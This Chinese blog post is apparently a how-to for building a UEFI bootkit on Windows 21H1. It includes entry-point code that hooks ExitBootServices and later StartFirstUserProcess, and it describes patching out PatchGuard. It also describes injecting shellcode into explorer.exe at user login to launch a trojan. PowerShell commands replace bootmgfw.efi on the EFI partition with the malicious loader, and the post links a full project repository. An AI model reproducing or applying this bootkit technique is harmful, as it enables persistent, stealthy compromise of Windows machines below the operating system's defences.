UEFI Bootkit 下 Windows 启动过程
好久没写博客了发一篇笔记
MBR Bootkit 不在叙述写这个的还是比较多的,UEFI Bootkit 相较于 MBR Bootkit 从某种意义上来说开发要更为方便因为 UEFI 具有统一规范可以直接使用 C/C++上手开发。
在正式介绍前先来简单说一下 UEFI 下 Windows 启动过程
- 基本过程如下
PC 开机,加电自检固件 UEFI 加载执行,初始化硬件 - 固件 UEFI 根据启动项从 EFI 分区中加载并启动
\EFI\Microsoft\boot\bootmgfw.efi
(Windows boot manager) - bootmgfw.efi 加载启动 Winload.efi(Windows Os loader)
- Winload.efi 加载执行 Ntoskrnl.exe 并将控制权移交给操作系统
我们此次开发的 Bootkit 从第二步入手直接替换 bootmgfw.efi,为我们的 loader,这个 loader 只有一个功能执行我们的 UEFI 驱动。我们的 UEFI 驱动在后门环境部署完成后回去加载执行原始的 bootmgfw.efi 进入正常的 Windows 引导流程(我们以上内容皆在 Secure Boot 关闭状态下为前提,如果 Secure Boot 开启会在执行我们的 loader 的时候就卡死因为签名校验不过)
UEFI 驱动入口点如下
EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
{
EFI_STATUS status;
//CalculateCrc32
originalExitBootServices = gBS->ExitBootServices;
gBS->ExitBootServices = HookExitBootServices;
//注册事件回调,在 os loader 调用 SetVirtualAddressMap 时通知我们
//根据 Edk2 文档可以选用 CreateEventEx 配合 gEfiEventVirtualAddressChangeGuid 或 EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE
//SetVirtualAddressMapEvent
status = gBS->CreateEvent(EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &virtualEvent);
if (status != EFI_SUCCESS)
{
DebugPrint(L"CreateEvent err");
}
EFI_DEVICE_PATH* BootmgfwPath;
EFI_HANDLE BootmgfwImageHandle;
//转换路径
UtilLocateFile(BootmgfwDiskPath, &BootmgfwPath);
//加载 bootmgfw.efi
status = gBS->LoadImage(TRUE, ImageHandle, BootmgfwPath, NULL, 0, &BootmgfwImageHandle);
if (status != EFI_SUCCESS)
{
DebugPrint(L"LoadImage No bootmgfw.efi");
}
//启动
status = gBS->StartImage(BootmgfwImageHandle, 0, 0);
return status;
}
我们首先 HOOK 掉 ExitBootServices 因为此处是一个关键函数。
在 Winload.efi 中会对这个函数进行调用,此函数的作用是结束启动服务(EFI Boot Service)标志着操作系统已经准备就绪, 官方文档
我们 HOOK 这里的目的是为了寻找被加载到内存中的 ntoskrnl。为了寻找到 ntoskrnl,我们需要先找到 LOADER_PARAMETER_BLOCK 这个结构体存储着所有的模块信息(具体请参照 OslLoaderBlock 函数)找到之后我们就可以开始遍历
随后搜索内核中的 KeInitAmd64SpecificState 函数这个是 PG 初始化执行的函数我们需要对它进行修补
继续搜索 StartFirstUserProcess 函数,这函数在内核中负责启动 SMSS 进程,但是我们并不能在这里直接 HOOK 它因为此时我们还处在物理地址,而 StartFirstUserProcess 函数在保护模式是虚拟地址等会系统启动我们需要转换后才能 HOOK,我们这里只记录一下函数地址
在 UefiMain 函数中我们曾设置了一个回调函数 NotifySetVirtualAddressMap,当 os loader 调用 SetVirtualAddressMapEvent 函数就会通知我们此时我们就可以在 NotifySetVirtualAddressMap 函数中通过 ConvertPointer 转换物理地址与虚拟地址对 StartFirstUserProcess 函数进行 hook
剩下的就等待内核调用 StartFirstUserProcess,然后我们创建一个系统线程去执行操作并调用原始的 StartFirstUserProcess 函数
在 KernelMainThread 线程里我们主要操作就是设置一个进程回调
设置进程回调的目的是等待用户登录时创建 explorer.exe 进程,当截获后我们就可以向其中注入 shellcode
替换文件
PS C:\Users\Admin\Desktop> Get-Volume | Select DriveLetter, FileSystemLabel, FileSystemType, Size, Path | Format-Table -Autosize
DriveLetter FileSystemLabel FileSystemType Size Path
----------- --------------- -------------- ---- ----
FAT32 205520896 \\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\
C NTFS 85553311744 \\?\Volume{6a0f8490-1d99-448e-9c21-9016ebc6113f}\
D Unknown 0 \\?\Volume{89e0f2f6-d4fc-11eb-a1ef-806e6f6e6963}\
选择 FAT32 分区
PS C:\Users\Admin\Desktop> cmd /c rename "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" "bootmgfw2.efi"
PS C:\Users\Admin\Desktop> cmd /c copy Test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\" /Y
已复制 1 个文件。
PS C:\Users\Admin\Desktop> cmd /c copy load_test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" /Y
已复制 1 个文件。
当用户登录时会自动向其中注入 shellcode 启动木马
项目代码
https://github.com/WBGlIl/Test_UEFI
编译请替换 samples.default.props 文件中的 EDK_PATH 和 LibraryPath
目标系统版本:Windows 21H1
总结
UEFI Bootkit 木马的一大难题在于 Secure Boot,上面我们演示了非固件类的 UEFI Bootkit,固件的类的 UEFI Bookit 可以做到即使更换硬盘都不会失效极其隐蔽但是固件 UEFI 需要写入 SPI,这需要绕过多种保护措施但是一旦成功效果会非常好
相关参考
- https://github.com/SamuelTulach/rainbow
- https://wikileaks.org/ciav7p1/cms/page_36896783.html
- https://uefi.org/sites/default/files/resources/UEFI-Plugfest-WindowsBootEnvironment.pdf
- https://www.kaspersky.com/about/press-releases/2021_finfisher-spyware-improves-its-arsenal-with-four-levels-of-obfuscation-uefi-infection-and-more
- https://www.4hou.com/posts/PrM2
- https://www.4hou.com/posts/8O52
- https://edk2-docs.gitbook.io/
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论